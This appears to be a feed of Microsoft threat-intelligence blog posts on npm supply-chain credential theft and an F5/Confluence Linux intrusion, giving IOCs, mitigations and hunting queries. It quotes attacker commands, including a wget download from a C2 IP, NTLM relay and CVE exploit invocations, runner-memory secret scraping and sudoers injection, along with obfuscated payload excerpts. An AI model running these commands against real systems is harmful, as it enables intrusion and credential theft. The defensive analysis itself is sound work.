169.254.170.2IPAWS ECS task metadata endpoint queried by stage-2
638788AFC4F1B5860A328312CAF5895ABD5F5632D28A4F2A85B09076E270D15DSHA-256preinstall.js (Gen-1 stager)
77D92EFE7AF3547F71FD41D4A884872D66B1BE9499EAA637E91EAC866911694DSHA-256setup.mjs (Gen-2 stager)
BFA149694EC6411C23936311A999163ADE54D6F38E2F4B0E3CFB8CB67BD7CFAASHA-256payload.gz (gzipped Bun stage-2)
opensearch_init.jsFilenameBun-compiled stage-2 credential harvester (~195 KB)
ai_init.jsFilenameAlternate stage-2 filename used by some Gen-2 packages
payload.binFilenameDropped stage-2 binary in node_modules install dir
__DAEMONIZED=1Env varMarker set by stager when spawning detached payload

References

  • https://www.npmjs.com/~vpmdhaj  –  npm maintainer profile (all 14 packages)
  • https://www.npmjs.com/package/@vpmdhaj/elastic-helper
  • https://www.npmjs.com/package/@vpmdhaj/devops-tools
  • https://docs.npmjs.com/cli/v10/using-npm/scripts  –  npm lifecycle scripts documentation
  • https://bun.sh  –  Bun runtime (abused by Gen-2 stager as a loader)
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-use-IMDSv2.html  –  IMDSv2 hardening guidance

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Typosquatted npm packages used to steal cloud and CI/CD secrets appeared first on Microsoft Security Blog.

From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence

A growing trend in modern intrusions is the compromise of internet-facing edge appliances such as firewalls and VPN gateways. Systems traditionally deployed as security boundaries are increasingly becoming initial access points due to the continued discovery and exploitation of critical vulnerabilities.

Because these devices are externally exposed, lightly monitored, and highly trusted inside enterprise environments, compromise can provide a durable foothold with limited visibility. Edge appliances often store credentials, certificates, session material, authentication tokens, and identity integrations with directories, cloud services, and identity providers. Once compromised, these trust relationships can enable lateral movement that bypasses traditional security controls.

In this incident, the threat actor compromised an internet-facing firewall appliance and used trusted relationships to pivot to an internal Linux host. From there, the threat actor compromised a vulnerable SaaS application and leveraged its credentials to conduct relay-style authentication attacks against Active Directory.

This incident reflects a broader shift toward identity-centric, multi-domain attack chains that span network infrastructure, endpoints, SaaS platforms, cloud workloads, and identity systems. Organizations should treat edge devices, non-Windows systems, and cloud identities as security-critical assets, prioritize monitoring across these environments, and use attack path analysis to identify where threat actors are most likely to establish initial access.

Attack chain overview

Figure 1. Multi-stage Linux intrusion via F5 and Confluence – Attack flow.
Figure 2. Multi-stage Linux intrusion via F5 and Confluence – Threat actor activities.

Initial access: Exploiting edge appliances

The threat actor established SSH access to the first Linux host from a network device identified as an F5 BIG-IP load balancer. Device inventory confirmed the source as an Azure-hosted appliance running version 15.1.201000. This is a specific BIG-IP Virtual Edition (VE) image version deployed primarily in cloud environments and commonly used in Azure ARM templates and Terraform modules for deploying F5 BIG-IP instances. This version of BIG-IP reached end-of-life (EOL) on December 31, 2024. Retiring deprecated firewalls is a security imperative, as unsupported hardware might leave the network exposed to modern threats.

This aligns with a broader pattern observed in recent high‑impact incidents, where internet‑facing edge devices such as routers, firewalls, and gateways are compromised through N‑day vulnerabilities. Operational constraints, including the availability of maintenance windows, could delay the installation of software updates for these appliances. When such devices are compromised, threat actors might be able to abuse or extract embedded trusted identities, enabling lateral movement that can bypass traditional perimeter and endpoint‑focused controls.

In this incident, the threat actor authenticated to a Linux server over SSH using a privileged account. The threat actor maintained this level of access throughout the observed activity without establishing explicit persistence mechanisms, underscoring the risk posed by over-privileged identities with sudo rights. The threat actor maintained sustained hands-on keyboard access throughout the attack, directly executing actions during the SSH session.

Discovery and reconnaissance

The threat actor performed extensive reconnaissance of the host and network, including file enumeration, network scanning, and service discovery. They aggressively scanned the internal network subnets with Nmap to identify connected hosts, and then used Nmap on the identified hosts to detect open services. This execution was automated using a shell script. The threat actor performed a horizontal scan to identify connected assets, and then performed a more thorough vertical scan using the results from the first scan.

The threat actor used gowitness to perform a detailed reconnaissance of the HTTP/HTTPS services identified in the previous scan.

gowitness scan nmap -f $i --write-db --write-screenshots --screenshot-path ./screenshots --screenshot-fullpage --open-only --service-contains http --delay 5 --threads 1 --chrome-proxy socks5://127.0.0.1:9090

Where they identified Windows servers, the threat actor tried common NTLM-based lateral movement techniques using the following open-source tools:

  • enum4linux
  • netexec
  • nmbclient
  • smbclient
  • rpcclient
  • timeroast
  • ldapsearch
  • kerbrute
  • nxc
  • responder

These initial attempts were unsuccessful.

The threat actor then downloaded a custom scanning tool from 206.189.27[.]39 using wget:

wget http://206.189.27[.]39:8888/5

The scanning tool file was detected as HackTool:Linux/MalPack.B. The tool performed reconnaissance of the organization’s web infrastructure. The organization uses multiple web applications and mobile services (for example, Firebase and GCM). The reconnaissance tool attempted to connect to the applications and services that the compromised Linux server interacts with, most likely to enumerate and identify access controls.

Lateral movement and identity compromise

During reconnaissance, the threat actor identified an Atlassian Confluence server within the network with unpatched vulnerabilities and leveraged these vulnerabilities to execute code remotely. Due to better hardening as a result of RTP being turned on, the threat actor used the initial Linux host as a staging server and had to try multiple ways of dropping the payload into the target Confluence server. Each time they dropped the payload onto the host, it was blocked. Assuming network-level blocking, the threat actor set up an FTP server on the initial Linux host using Python’s ftplib module to transfer the custom scanning tool to the Confluence server.

curl -o /dev/shm/ag ftp://anonymous:anonymous@[REDACTED_LOCAL_IP]/5

After compromising the Confluence server, the threat actor obtained credentials and used them to attempt authentication against Windows infrastructure from the following files:

  • /opt/atlassian/confluence/conf/server.xml
  • /var/atlassian/application-data/confluence/confluence.cfg.xml

This was followed by Kerberos relay attacks and exploitation of CVE-2025-33073, highlighting the risk of credential theft from internal web applications and the importance of monitoring cross-system authentication events.

nxc smb [REDACTED_IP] -d [REDACTED_DOMAIN].com -u Jiraservices -p '********* -M coerce_plus -o M=PetitPotam L="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
python3 CVE-2025-33073.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** --attacker-ip [REDACTED_IP] --dns-ip [REDACTED_IP] --dc-fqdn [REDACTED_HOSTNAME].[REDACTED_DOMAIN].com --target [REDACTED_HOST] --target-ip [REDACTED_IP]
python3 dnstool.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** [REDACTED_HOST].[REDACTED_DOMAIN].com -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d [REDACTED_IP] -dns-ip [REDACTED_IP]

The threat actor used testssl to probe for SSL/TLS weaknesses, indicating an attempt to identify downgrade paths and protocol misconfigurations.

This incident vividly demonstrates that vulnerable applications don’t need to be directly exposed to the internet to result in high severity compromises. Once an initial foothold is established, threat actors can pivot laterally and target internally accessible services to escalate privileges, expand access, or deploy tooling deeper into the environment.

In cloud and hybrid deployments, this risk is amplified by the implicit-trust boundaries between applications and services, where authenticated identity, network locality, and service-to-service trust can be abused. As a result, unpatched internal applications, particularly those running with elevated permissions or trusted identities, represent a critical attack surface and can materially impact the overall security posture of the environment.

From initial access to the final stage, the threat actor was systematically probing the tenant and experimenting with multiple techniques to expand access. During this phase, they identified and abused several assets that ultimately provided elevated privileges, illustrating that threat actors don’t need advanced sophistication to be effective – only time, persistence, and the presence of exploitable security gaps across the environment.

This intrusion demonstrates how a single remote code execution vulnerability in a perimeter-facing web component can ultimately cascade into identity compromise in a completely separate application, crossing platform and trust boundaries. Even in environments with hardened Windows systems, insufficient monitoring and delayed patching across a hybrid estate can result in trusted identities and internal application relationships being abused. The breadth of techniques employed by the threat actor and their repeated hands-on keyboard activity, including attempts to further compromise a domain controller, underscore the reality that determined threat actors will systematically pursue all available paths until a viable route to full-tenant compromise is achieved.

Mitigation and protection guidance

Treat internet-facing edge appliances as Tier-0 assets and enforce lifecycle + patch governance.

In this intrusion, the initial foothold came from an end-of-life F5 BIG-IP version. Organizations should maintain an accurate inventory of externally exposed appliances, track end-of-support dates, and operationalize rapid patching for known-exploited vulnerabilities. Where immediate patching isn’t feasible, compensating controls should be applied, such as restricting management-plane exposure, reducing permitted source IP ranges, and increasing telemetry and alerting for anomalous administrative access.

Harden and patch internal web applications with the same urgency as internet-facing services.

Although Confluence was not exposed externally, an unpatched internal service still enabled remote code execution once the threat actor had network access. Critical internal applications (like Confluence) should be patched and monitored even if they have no direct internet exposure, because they often hold sensitive information and become reachable from outside the network after a threat actor gains any internal foothold. Treat internal applications as part of your critical attack surface: regularly look for known vulnerabilities and apply security updates quickly.

Apply identity hardening to reduce the feasibility and blast radius of relay-style authentication attacks.

After credential theft, the threat actor attempted Kerberos relay and other Windows authentication abuse against domain infrastructure. Defensive measures include minimizing or disabling NTLM where possible, enforcing SMB signing, enabling LDAP signing and channel binding, and using Extended Protection for Authentication (EPA) on applicable services to bind authentication to the channel and reduce relay success. Combine these controls with a tiered administration model (separate admin accounts and no reuse of privileged credentials on lower-trust hosts) to prevent a single-application credential compromise from leading to domain compromise.

Help prevent implant execution and common lateral movement tooling with Microsoft Defender in block mode.

This intrusion involved custom ELF payloads and commodity tooling, including network scanners, tunneling/backdoor binaries, and NTLM/Kerberos-focused utilities, all of which rely on successful execution on Linux hosts. In the environment where this intrusion occurred, real-time protection was only enabled on one machine, and on that host it blocked the attempted execution. To reduce dwell time and help prevent follow-on lateral movement, enable Defender prevention capabilities consistently across Linux servers.

Microsoft Defender XDR detections

Tactic   Observed activity   Microsoft Defender coverage   
Initial access, ExecutionThreat actor logs in through SSH and drops an ELF binaryMicrosoft Defender for Endpoint 
Executable permission added to file or directory Suspicious file dropped and launched HackTool:Linux/MalPack.B (Blocked on Confluence server)  
DiscoveryThreat actor enumerated files on the Linux system and performed network scanning, access of Confluence credentialsMicrosoft Defender for Endpoint
Enumeration of files with sensitive data Suspicious script launched
Lateral movementThreat actor performed remote code execution on a Confluence server identified through network scanning in the same network  Microsoft Defender for Endpoint 
Suspicious process executed by a network service Suspicious remote command execution via Java web application Suspicious piped command launched
Privilege escalationThreat actor performed relay attacks against the domain controllerMicrosoft Defender for Endpoint 
Authentication coercion attack HackTool:Linux/Kerbrute!rfn

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat: 

  • Incident investigation 
  • Microsoft User analysis 
  • Threat actor profile 
  • Threat Intelligence 360 report based on MDTI article 
  • Vulnerability impact assessment 

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.   

Advanced hunting

SSH login from F5 BIG-IP device

let lookback = 7d;
let dhcpTolerance = 2h; // Tolerance for DHCP IP address changes
let FilteredDevices =
    DeviceInfo
    | where Timestamp > ago(lookback)
    | where Vendor == "F5"
    | where OSVersion == "15.1.201000"
    | extend SourceDeviceId = DeviceId
    | summarize by SourceDeviceId;
let DeviceIpSnapshots =
    DeviceNetworkInfo
    | where Timestamp > ago(lookback)
    | where isnotempty(IPAddresses)
    | extend IPAddresses = todynamic(IPAddresses)
    | mv-expand ip = IPAddresses
        | extend IPAddress = tostring(ip.IPAddress)
        | where isnotempty(IPAddress)
    | project SourceDeviceId = DeviceId, SourceIPAddress = IPAddress, SourceIpTimestamp = Timestamp
    | join kind=inner FilteredDevices on SourceDeviceId;
DeviceLogonEvents
| where Timestamp > ago(lookback)
| where ActionType == "LogonSuccess"
| where isnotempty(RemoteIP)
| project LogonTimestamp = Timestamp, DestinationDeviceId = DeviceId, RemoteIP, AccountName, InitiatingProcessFileName
| join kind=inner (
        DeviceIpSnapshots
    ) on $left.RemoteIP == $right.SourceIPAddress
| where LogonTimestamp between ((SourceIpTimestamp - dhcpTolerance) .. (SourceIpTimestamp + dhcpTolerance))
| extend IpAssignmentToLogonDeltaSeconds = abs(datetime_diff("second", LogonTimestamp, SourceIpTimestamp))
| summarize arg_min(IpAssignmentToLogonDeltaSeconds, *) by LogonTimestamp, RemoteIP, DestinationDeviceId
| project LogonTimestamp, SourceDeviceId, DestinationDeviceId, RemoteIP, SourceIpTimestamp, IpAssignmentToLogonDeltaSeconds, AccountName, InitiatingProcessFileName
| order by LogonTimestamp desc

Credential discovery from Confluence

let lookback = 7d; 
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName == "java"
| where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar")
| where (FileName == "cat" and ProcessCommandLine has_any ("server.xml", "confluence.cfg.xml" , "setenv.sh"))

Payload delivery through compromised Confluence server

let lookback = 7d; 
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName == "java"
| where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar")
| where ProcessCommandLine has_any ("chmod 777 /dev/shm", "chmod 777 /tmp" , "base64 -d > /dev/shm", "curl -o /dev/shm/", "curl -o /tmp/")

Indicators of compromise (IOC)

IndicatorTypeDescription
4a927d031919fd6bd88d3c8a917214b54bca00f8ddc80ecfe4d230663dda7465File hashCustom scanning tool
b4592cea69699b2c0737d4e19cff7dca17b5baf5a238cd6da950a37e9986f216File hashShell script to automate network scanning using Nmap
710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122aFile hashKerbrute tool
57b3188e24782c27fdf72493ce599537efd3187d03b80f8afe733c72d68c5517File hashgowitness scanner
bdd5da81ac34d9faa2a5118d4ed8f492239734be02146cd24a0e34270a48a455File hashNTLM relay Python script
206.189.27[.]39IPv4 addressC2 server

MITRE ATT&CK techniques observed

This campaign exhibited the following MITRE ATT&CK techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR detections section above.

TacticTechnique IDTechnique nameHow it presents in this campaign
Lateral MovementT1021.004Remote Services: SSHThreat actor used SSH to access the Linux host through the compromised firewall
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellThreat actor performed hands-on keyboard activity though SSH and used shell script to automate network scanning and discovery of web services. Most of the lateral movement tools were open source/publicly available Python scripts
T1059.006Command and Scripting Interpreter: Python
DiscoveryT1043Commonly Used PortThreat actor performed network scanning using Nmap, used ls and find commands to discover files on the Linux hosts
T1083File and Directory Discovery
CollectionT1005Data from Local SystemThe threat actor stored the results of the scan on the system. This along with other files in the system was exfiltrated through SSH
Command and ControlT1071Application Layer ProtocolTool transfer through wget (backdoor and kerbrute)
T1105Ingress Tool Transfer
Defense EvasionT1222.002File and Directory Permissions Modification: Linux and Mac File PermissionsExecutable permission added to ELF binaries
Initial AccessT1190Exploit Public-Facing ApplicationLateral movement to Confluence server through RCE in Java web application
PersistenceT1505Server Software ComponentPersistent access to the Confluence web server through web shell
Defense Evasion; Persistence; Privilege EscalationT1078.002Valid Accounts: Domain AccountsUsed the domain credentials of the Confluence server for subsequent attacks
Credential AccessT1187Forced AuthenticationThreat actor targeted domain controller through NTLM relay attacks.
T1557Adversary-in-the-Middle

References

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence appeared first on Microsoft Security Blog.

Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft

Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.

The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.

Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.

The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.

Attack chain overview

Figure 1. @antv npm supply chain attack flow.

The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:

  • Maintainer account compromise and publication of malicious @antv package versions
  • Downstream dependency amplification (echarts-for-react, size-sensor, and others)
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain: node → shell → bun → payload (Bun runtime installed if absent)

Technical analysis

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

  • Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
  • Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
  • Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux
  • Branch avoidance: Skips the main, master, dependabot/, renovate/, and gh-pages when using Git API exfiltration

// Layer 1: 1,732 strings in rotated array with base64 decode
(function(_0x44be0e, _0x3ff020){
    // Array shuffle IIFE with key 0xa31de
    _0x335af4['push'](_0x335af4['shift']());
})(_0x71ec, 0xa31de));
 
// Layer 2: PBKDF2+SHA256 runtime decryption for critical strings
var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e";
var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104";
var u5 = new du(e6, t6);  // PBKDF2 cipher instance
globalThis["f2959c600"] = function(s) { return u5.decode(s); };
 
// Environment gate - exits if not GitHub Actions on Linux
this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')]  === 'true';
this['isLinuxRunner']   = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux';

Credential theft

The payload targets secrets across six platforms:

  • GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through /user API, and enumerates repo and org secrets.
  • Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws/ files, harvests env vars, and then calls SecretsManager across all regions.
  • HashiCorp Vault: Searches 12+ token paths (/var/run/secrets/vault/token, ~/.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200.
  • npm: Validates tokens using /-/whoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
  • Kubernetes: Reads service account tokens and enumerates namespace secrets
  • 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass
// AWS Secrets Manager enumeration
'secretsmanager:ListSecrets'
'secretsmanager:GetSecretValue('
 
// Vault token paths searched (12+ locations)
'/var/run/secrets/vault/token'
'/.vault-token'
'/home/runner/.vault-token'
'/root/.vault-token'
'/etc/vault/token'
 
// GitHub API secret enumeration
'/actions/secrets?per_page=100'
'/actions/organization-secrets?per_page=100'

Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
 
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

  • Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
  • Modifies /etc/hosts for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > 
 && chmod 0440 /mnt/runner
 
// DNS manipulation
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
 
// Validates sudo access before operations
sudo -n true

Exfiltration

Dual-channel exfiltration:

  • Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
  • Fallback: Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches
  • Tertiary: Creates public repos under victim accounts with reversed description (“niagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing
// Primary: HTTPS C2 with encrypted domain (port 443)
let config = {
    'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'),
    'port': 0x1bb,  // 443
    'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='),
    'dry_run': false
};
 
// Fallback: Git Data API - creates blobs/trees/commits in victim repos
await j(token, '/repos/' + owner + '/' + repo + '/git/blobs',
        {'method': 'POST', 'body': JSON.stringify(stolen_data)});
'/git/trees'
'/git/commits'
 
// Branch filter - avoids protected branches to evade detection
Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/',
      'copilot/', 'master', 'main'];

Propagation and persistence

  • Enumerates /user/repos and /user/orgs to spread into additional repositories
  • Installs Bun runtime, executes second-stage payload using bun run .claude/
  • Deploys token monitor for ongoing credential capture
  • Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate

Impact and blast radius

  • Direct compromise of @antv packages with broad ecosystem adoption
  • Amplification through downstream dependencies into thousands of projects
  • Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
  • SLSA provenance forgery erodes trust in supply chain attestation frameworks

How GitHub took action to prevent further harm

Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of affected @antv/ packages.
  • Identify systems that installed or built affected package versions during the suspected exposure window.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with --ignore-scripts.
  • While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Audit organization and personal GitHub accounts for public repositories with the description “niagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
  • Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverage
Execution Suspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:AIGen/NPMStealer
– Backdoor:Python/ShaiWorm
– Trojan:JS/ShaiWorm
– Trojan:JS/ObfusNpmJs  

Microsoft Defender for Endpoint
– Suspicious usage of Bun runtime
– Suspicious Installation of Bun runtime
– Suspicious Node.js process behavior

Microsoft Defender XDR
Suspicious file creation in temporary directory by Bun.exe binary
Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of environment variables, tokens, or developer secretsMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-cached binary
– Kubernetes secrets enumeration indicative of credential access

Microsoft Defender for Cloud
Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials
Command and ControlPotential outbound connections from build systems or developer machinesMicrosoft Defender for Endpoint
Connection to a custom network indicator

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:

  • Incident investigation
  • Microsoft user analysis
  • Threat Intelligence 360 report based on MDTI article
  • Vulnerability or supply chain impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR Threat analytics

https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution

This query searches for Node.js and npm activity involving install lifecycle behavior and relevant package references.

DeviceProcessEvents
| where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for potential compromise of through malicious npm packages

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName in ("bun", "bun.exe")
| where ProcessCommandLine has "run index.js"

Hunt for affected dependencies in your software inventory

DeviceTvmSoftwareInventory
| where SoftwareName has "antv" or SoftwareVendor has "antv"
| project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion

Hunt for suspicious outbound connection from python backdoor

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where InitiatingProcessFileName startswith "python"
| where InitiatingProcessCommandLine has "/cat.py"

Hunt for suspicious outbound activity from Node.js processes

Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.

DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
| where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for affected dependency references in developer directories

This query searches for package manifest or lockfile activity that might contain relevant dependency references.

DeviceFileEvents
| where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml")
| where FolderPath has_any ("node_modules", "src", "repo", "workspace")
| where AdditionalFields has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for post-compromise C2 activity

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "t.m-kosche.com"

Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container

CloudProcessEvents
| where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Indicators of Compromise (IOC)

IndicatorTypeDescription
@antv – whole accountPackage scope  All packages maintained by the antv account were compromised.

As per the latest statement from the account author’s this situation is now resolved.
echarts-for-reactPackage name  One of the major downstream packages impacted by the antv compromise.
As per the latest statement from the repository author’s this situation is now resolved
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1cSHA-256Malicious payload JavaScript file
fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142SHA-256Malicious backdoor Python script
t.m-kosche[.]com:443DomainInfrastructure associated with campaign
Index.jsFile nameMalicious script or dropped file
cat.pyFile nameMalicious script or dropped file

References

This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.

From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence

A growing trend in modern intrusions is the compromise of internet-facing edge appliances such as firewalls and VPN gateways. Systems traditionally deployed as security boundaries are increasingly becoming initial access points due to the continued discovery and exploitation of critical vulnerabilities.

Because these devices are externally exposed, lightly monitored, and highly trusted inside enterprise environments, compromise can provide a durable foothold with limited visibility. Edge appliances often store credentials, certificates, session material, authentication tokens, and identity integrations with directories, cloud services, and identity providers. Once compromised, these trust relationships can enable lateral movement that bypasses traditional security controls.

